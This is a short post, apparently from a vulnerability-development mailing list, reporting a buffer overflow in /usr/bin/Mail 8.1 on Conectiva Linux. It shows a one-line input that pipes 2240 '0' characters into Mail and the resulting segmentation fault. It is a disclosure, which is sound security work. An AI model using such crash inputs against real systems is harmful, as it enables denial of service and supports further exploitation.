Vulnerability Development: Re: /usr/bin/Mail buffer 0verfl0w

["Michel A. S. Pereira - KIDMumU[InTrance]" <michelcultivo () UOL COM BR>]

Tested on Conectiva Linux 6.0 with the Kernel 2.4.2


[assdebuger () michel assdebuger]$ (printf "t " ; perl -e 'print "0" x2240'
; cat) | /usr/bin/Mail
Mail version 8.1 6/6/93.  Type ? for help.
"/var/spool/mail/assdebuger": 1 message 1 new
> N  1 assdebuger () michel in  Mon Mar  5 00:34  13/477   "test"
?
0: Invalid message number
"Source" stack over-pop.

Falha de segmentação (core dumped)
[assdebuger () michel assdebuger]$

--
____________________________________________________________
PIII 500MHz - 96MB RAM - HD 8.2GB - Diamond Stealth III s540
 USR Sportster 56K Int Voice - SoundBlaster AWE 64 -- CL 6
  //LinuxMan by Friends - The power of a GNU generation\\
    www.techs.com.br - ICQ 4553082 - Linux Counter - 83522
      irc.brasnet.org - #theprodigy #matapagodeiro #olinux
 |   Projeto LinuxSOBrasil http://sobrasil.eosite.com.br   |